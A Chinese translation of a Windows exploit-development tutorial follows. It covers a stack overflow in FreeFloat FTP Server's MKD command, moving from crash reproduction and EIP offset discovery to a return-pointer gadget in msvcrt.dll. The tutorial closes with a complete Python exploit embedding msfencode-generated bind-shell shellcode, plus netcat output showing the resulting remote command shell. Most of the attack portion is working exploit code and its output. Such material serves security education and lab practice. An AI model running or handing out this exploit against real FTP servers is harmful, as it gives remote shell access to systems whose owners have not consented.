欢迎来到 嗅灵易学

零基础也能上手的脚本技术课,一对一答疑带你入门

[翻译]Windows Exploit开发系列教程第二部分:Saved Return Pointer Overflows

[翻译]Windows Exploit开发系列教程第二部分:Saved Return Pointer Overflows

译者:Netfairy
溢出返回地址
漏洞利用系列教程第二部分, 这部分我将用 ”FreeFloat FTP”演示栈溢出覆盖返回地址, 假设我们能够控制EIP并且同时有一个寄存器指向我们可控的缓冲区. 这里有有几个写好的利用程序:这里.
一般地, 在漏洞利用过程中, 我们首先需要分析坏字符. 对于第一篇教程, 我决定使用exploit-db上metasploit模块列出的坏字符. 这个软件的坏字符是”\x00\X0a\X0D”. 请记住它们.
漏洞利用环境: Backtrack5
调试机器: Windows XP PRO SP3
漏洞软件:下载

重现崩溃

首先, 我们创建一个针对FTP SERVER的漏洞利用框架. 后续我们将在它的基础上开发我们的漏洞利用程序. exploit-db上”FreeFloat FTP”的POC如下, 我们使用FTP server默认配置已经存在的账户名”anonymous”:

#!/usr/bin/python

import socket

import sys

evil = "A"*1000

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)

connect=s.connect(('192.168.111.128',21))

s.recv(1024)

s.send('USER anonymous\r\n')

s.recv(1024)

s.send('PASS anonymous\r\n')

s.recv(1024)

s.send('MKD ' + evil + '\r\n')

s.recv(1024)

s.send('QUIT\r\n')

s.close


好, 当我们用调试器附加FTP server然后发送POC给程序, 程序崩溃. 从下面的截图可以看到EIP已经被覆写, 两个寄存器(ESP EDI)指向我们可控的缓冲区. 分析之后我发现使用ESP更合适因为ESP包含了更大块的可控内存.(顺便提一下用EDI同样也可以).

改写EIP
接下来分析这个崩溃, 为了方便我用metasploit模式字符串替换替换前面的AAAAA…., 注意保持原始的缓冲区大小, 变化大小可能会影响崩溃.

当程序再次崩溃, 再看看EIP已经被metasploit模式字符串覆写. 现在是时候出动”mona”了. 使用下面的命令分析程序崩溃, 你可以看到下面的结果.

由上图我们可以知道EIP在247字节后被覆盖. 同样看看ESP指向的缓冲区包含了更多我们可控的空间. 知道这些信息后, 我们重新布置脚本如下:
Evil= “A”*247 + “B”*4 +”C”*749
再次运行这个脚本, 结果正如所料. EIP被覆写为BBBB.

这意味着我们可以用一个指针替换BBBB, 将程序重定向到ESP所指的地方. 唯一需要注意的是这个指针不能包含坏字符. 可以使用”mona” 
!mona jmp –r esp
搜索这个指针. 下图是结果:

似乎这些指针都可以. 它们特定于”WinXP PRO SP3”的系统dll模块. 但这不是我们首要关注的.我们用列表第一个指针. 记住:由于cpu是小序,所以指针需要逆序.
Pointer: 0x77c35459 : push esp # ret | {PAGE_EXECUTE_READ} [msvcrt.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v7.0.2600.5701 (C:\WINDOWS\system32\msvcrt.dll)
Buffer: evil = "A"*247 + "\x59\x54\xC3\x77" + "C"*749
强调一下你应该根据你的实际情况作调整, 最后的POC像下面这样:
#!/usr/bin/python

import socket

import sys

#------------------------------------------------------------

# Badchars: \x00\x0A\x0D

# 0x77c35459 : push esp #  ret  | msvcrt.dll

#------------------------------------------------------------

evil = "A"*247 + "\x59\x54\xC3\x77" + "C"*749

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)

connect=s.connect(('192.168.111.128',21))

s.recv(1024)

s.send('USER anonymous\r\n')

s.recv(1024)

s.send('PASS anonymous\r\n')

s.recv(1024)

s.send('MKD ' + evil + '\r\n')

s.recv(1024)

s.send('QUIT\r\n')

s.close


用调试器附加程序, 运行这个脚本. 我们可以看到EIP已经被我们的指针覆盖掉了。接下来就能执行到ESP所指的地方了.


Shellcode+游戏结束

我们完成了大部分工作. 我们需要
1)  在POC增加一个变量, 保存shellcode
2)  插入一个payload
开始吧, 我们用payload插入现在CCCC…地方, 如果插入的payload长度不固定, 我们希望缓冲区长度动态修改以便我们不需要重新计算长度. 还应该插入一些NOP’s(空操作= \x90) 填充在payload前面. 你可以下面看到结果. 插入到shellcode变量的任何shellcode都能被执行.
#!/usr/bin/python

import socket

import sys

shellcode = (

)

#------------------------------------------------------------

# Badchars: \x00\x0A\x0D

# 0x77c35459 : push esp #  ret  | msvcrt.dll

#------------------------------------------------------------

buffer = "\x90"*20 + shellcode

evil = "A"*247 + "\x59\x54\xC3\x77" + buffer + "C"*(749-len(buffer))

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)

connect=s.connect(('192.168.111.128',21))

s.recv(1024)

s.send('USER anonymous\r\n')

s.recv(1024)

s.send('PASS anonymous\r\n')

s.recv(1024)

s.send('MKD ' + evil + '\r\n')

s.recv(1024)

s.send('QUIT\r\n')

s.close


万事俱备, 只欠shellcode. 可以用msfpayload获得shellcode, msfencode过滤坏字符.
root@bt:~# msfpayload -l

[...snip...]

windows/shell/reverse_tcp_dns     Connect back to the attacker, Spawn a piped command shell (staged)

windows/shell_bind_tcp            Listen for a connection and spawn a command shell

windows/shell_bind_tcp_xpfw       Disable the Windows ICF, then listen for a connection and spawn a 

                                  command shell

[...snip...]

root@bt:~# msfpayload windows/shell_bind_tcp O

       Name: Windows Command Shell, Bind TCP Inline

     Module: payload/windows/shell_bind_tcp

    Version: 8642

   Platform: Windows

       Arch: x86

Needs Admin: No

 Total size: 341

       Rank: Normal

Provided by:

  vlad902 <vlad902@gmail.com>

  sf <stephen_fewer@harmonysecurity.com>

Basic options:

Name      Current Setting  Required  Description

----      ---------------  --------  -----------

EXITFUNC  process          yes       Exit technique: seh, thread, process, none

LPORT     4444             yes       The listen port

RHOST                      no        The target address

Description:

  Listen for a connection and spawn a command shell

root@bt:~# msfpayload windows/shell_bind_tcp LPORT=9988 R| msfencode -b '\x00\x0A\x0D' -t c

[*] x86/shikata_ga_nai succeeded with size 368 (iteration=1

unsigned char buf[] = 

"\xdb\xd0\xbb\x36\xcc\x70\x15\xd9\x74\x24\xf4\x5a\x33\xc9\xb1"

"\x56\x83\xc2\x04\x31\x5a\x14\x03\x5a\x22\x2e\x85\xe9\xa2\x27"

"\x66\x12\x32\x58\xee\xf7\x03\x4a\x94\x7c\x31\x5a\xde\xd1\xb9"

"\x11\xb2\xc1\x4a\x57\x1b\xe5\xfb\xd2\x7d\xc8\xfc\xd2\x41\x86"

"\x3e\x74\x3e\xd5\x12\x56\x7f\x16\x67\x97\xb8\x4b\x87\xc5\x11"

"\x07\x35\xfa\x16\x55\x85\xfb\xf8\xd1\xb5\x83\x7d\x25\x41\x3e"

"\x7f\x76\xf9\x35\x37\x6e\x72\x11\xe8\x8f\x57\x41\xd4\xc6\xdc"

"\xb2\xae\xd8\x34\x8b\x4f\xeb\x78\x40\x6e\xc3\x75\x98\xb6\xe4"

"\x65\xef\xcc\x16\x18\xe8\x16\x64\xc6\x7d\x8b\xce\x8d\x26\x6f"

"\xee\x42\xb0\xe4\xfc\x2f\xb6\xa3\xe0\xae\x1b\xd8\x1d\x3b\x9a"

"\x0f\x94\x7f\xb9\x8b\xfc\x24\xa0\x8a\x58\x8b\xdd\xcd\x05\x74"

"\x78\x85\xa4\x61\xfa\xc4\xa0\x46\x31\xf7\x30\xc0\x42\x84\x02"

"\x4f\xf9\x02\x2f\x18\x27\xd4\x50\x33\x9f\x4a\xaf\xbb\xe0\x43"

"\x74\xef\xb0\xfb\x5d\x8f\x5a\xfc\x62\x5a\xcc\xac\xcc\x34\xad"

"\x1c\xad\xe4\x45\x77\x22\xdb\x76\x78\xe8\x6a\xb1\xb6\xc8\x3f"

"\x56\xbb\xee\x98\xa2\x32\x08\x8c\xba\x12\x82\x38\x79\x41\x1b"

"\xdf\x82\xa3\x37\x48\x15\xfb\x51\x4e\x1a\xfc\x77\xfd\xb7\x54"

"\x10\x75\xd4\x60\x01\x8a\xf1\xc0\x48\xb3\x92\x9b\x24\x76\x02"

"\x9b\x6c\xe0\xa7\x0e\xeb\xf0\xae\x32\xa4\xa7\xe7\x85\xbd\x2d"

"\x1a\xbf\x17\x53\xe7\x59\x5f\xd7\x3c\x9a\x5e\xd6\xb1\xa6\x44"

"\xc8\x0f\x26\xc1\xbc\xdf\x71\x9f\x6a\xa6\x2b\x51\xc4\x70\x87"

"\x3b\x80\x05\xeb\xfb\xd6\x09\x26\x8a\x36\xbb\x9f\xcb\x49\x74"

"\x48\xdc\x32\x68\xe8\x23\xe9\x28\x18\x6e\xb3\x19\xb1\x37\x26"

"\x18\xdc\xc7\x9d\x5f\xd9\x4b\x17\x20\x1e\x53\x52\x25\x5a\xd3"

"\x8f\x57\xf3\xb6\xaf\xc4\xf4\x92";


美化代码,增加了些注释. 所以最后的漏洞利用程序如下.
#!/usr/bin/python

#----------------------------------------------------------------------------------#

# Exploit: FreeFloat FTP (MKD BOF)                                                 #

# OS: WinXP PRO SP3                                                                #

# Author: b33f (Ruben Boonen)                                                      #

# Software: http://www.freefloat.com/software/freefloatftpserver.zip               #

#----------------------------------------------------------------------------------#

# This exploit was created for Part 2 of my Exploit Development tutorial series... #

# http://www.fuzzysecurity.com/tutorials/expDev/2.html                             #

#----------------------------------------------------------------------------------#

# root@bt:~/Desktop# nc -nv 192.168.111.128 9988                                   #

# (UNKNOWN) [192.168.111.128] 9988 (?) open                                        #

# Microsoft Windows XP [Version 5.1.2600]                                          #

# (C) Copyright 1985-2001 Microsoft Corp.                                          #

#                                                                                  #

# C:\Documents and Settings\Administrator\Desktop>                                 #

#----------------------------------------------------------------------------------#

import socket

import sys

#----------------------------------------------------------------------------------#

# msfpayload windows/shell_bind_tcp LPORT=9988 R| msfencode -b '\x00\x0A\x0D' -t c #

# [*] x86/shikata_ga_nai succeeded with size 368 (iteration=1)                     #

#----------------------------------------------------------------------------------#

shellcode = (

"\xdb\xd0\xbb\x36\xcc\x70\x15\xd9\x74\x24\xf4\x5a\x33\xc9\xb1"

"\x56\x83\xc2\x04\x31\x5a\x14\x03\x5a\x22\x2e\x85\xe9\xa2\x27"

"\x66\x12\x32\x58\xee\xf7\x03\x4a\x94\x7c\x31\x5a\xde\xd1\xb9"

"\x11\xb2\xc1\x4a\x57\x1b\xe5\xfb\xd2\x7d\xc8\xfc\xd2\x41\x86"

"\x3e\x74\x3e\xd5\x12\x56\x7f\x16\x67\x97\xb8\x4b\x87\xc5\x11"

"\x07\x35\xfa\x16\x55\x85\xfb\xf8\xd1\xb5\x83\x7d\x25\x41\x3e"

"\x7f\x76\xf9\x35\x37\x6e\x72\x11\xe8\x8f\x57\x41\xd4\xc6\xdc"

"\xb2\xae\xd8\x34\x8b\x4f\xeb\x78\x40\x6e\xc3\x75\x98\xb6\xe4"

"\x65\xef\xcc\x16\x18\xe8\x16\x64\xc6\x7d\x8b\xce\x8d\x26\x6f"

"\xee\x42\xb0\xe4\xfc\x2f\xb6\xa3\xe0\xae\x1b\xd8\x1d\x3b\x9a"

"\x0f\x94\x7f\xb9\x8b\xfc\x24\xa0\x8a\x58\x8b\xdd\xcd\x05\x74"

"\x78\x85\xa4\x61\xfa\xc4\xa0\x46\x31\xf7\x30\xc0\x42\x84\x02"

"\x4f\xf9\x02\x2f\x18\x27\xd4\x50\x33\x9f\x4a\xaf\xbb\xe0\x43"

"\x74\xef\xb0\xfb\x5d\x8f\x5a\xfc\x62\x5a\xcc\xac\xcc\x34\xad"

"\x1c\xad\xe4\x45\x77\x22\xdb\x76\x78\xe8\x6a\xb1\xb6\xc8\x3f"

"\x56\xbb\xee\x98\xa2\x32\x08\x8c\xba\x12\x82\x38\x79\x41\x1b"

"\xdf\x82\xa3\x37\x48\x15\xfb\x51\x4e\x1a\xfc\x77\xfd\xb7\x54"

"\x10\x75\xd4\x60\x01\x8a\xf1\xc0\x48\xb3\x92\x9b\x24\x76\x02"

"\x9b\x6c\xe0\xa7\x0e\xeb\xf0\xae\x32\xa4\xa7\xe7\x85\xbd\x2d"

"\x1a\xbf\x17\x53\xe7\x59\x5f\xd7\x3c\x9a\x5e\xd6\xb1\xa6\x44"

"\xc8\x0f\x26\xc1\xbc\xdf\x71\x9f\x6a\xa6\x2b\x51\xc4\x70\x87"

"\x3b\x80\x05\xeb\xfb\xd6\x09\x26\x8a\x36\xbb\x9f\xcb\x49\x74"

"\x48\xdc\x32\x68\xe8\x23\xe9\x28\x18\x6e\xb3\x19\xb1\x37\x26"

"\x18\xdc\xc7\x9d\x5f\xd9\x4b\x17\x20\x1e\x53\x52\x25\x5a\xd3"

"\x8f\x57\xf3\xb6\xaf\xc4\xf4\x92")

#----------------------------------------------------------------------------------#

# Badchars: \x00\x0A\x0D                                                           #

# 0x77c35459 : push esp #  ret  | msvcrt.dll                                       #

# shellcode at ESP => space 749-bytes                                              #

#----------------------------------------------------------------------------------#

buffer = "\x90"*20 + shellcode

evil = "A"*247 + "\x59\x54\xC3\x77" + buffer + "C"*(749-len(buffer))

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)

connect=s.connect(('192.168.111.128',21))

s.recv(1024)

s.send('USER anonymous\r\n')

s.recv(1024)

s.send('PASS anonymous\r\n')

s.recv(1024)

s.send('MKD ' + evil + '\r\n')

s.recv(1024)

s.send('QUIT\r\n')

s.close


下图可以看到运行这个脚本前后netstat –an命令的结果, 程序反连到绑定的shell, 游戏结束!!

root@bt:~/Desktop# nc -nv 192.168.111.128 9988

(UNKNOWN) [192.168.111.128] 9988 (?) open

Microsoft Windows XP [Version 5.1.2600]

(C) Copyright 1985-2001 Microsoft Corp.

C:\Documents and Settings\Administrator\Desktop>ipconfig

ipconfig

Windows IP Configuration

Ethernet adapter Local Area Connection:

        Connection-specific DNS Suffix  . : localdomain

        IP Address. . . . . . . . . . . . : 192.168.111.128

        Subnet Mask . . . . . . . . . . . : 255.255.255.0

        Default Gateway . . . . . . . . . : 

C:\Documents and Settings\Administrator\Desktop>

附上原文:http://www.fuzzysecurity.com/tutorials/expDev/2.html

上传的附件 image1.png
image2.png
image3.png
image4.png
image5.png
image6.png
image7.png

注意:上传附件及图片大小不得大于30M。

⚠️ 版权声明:
本博客所有内容(含教程、源码、工具)仅供个人技术学习与研究交流使用,严禁商用、倒卖、二次分发及非法用途
未经作者书面授权,任何组织或个人不得转载、复制或用于其他平台,违者将追究相关责任。

0 0 0 举报
复制成功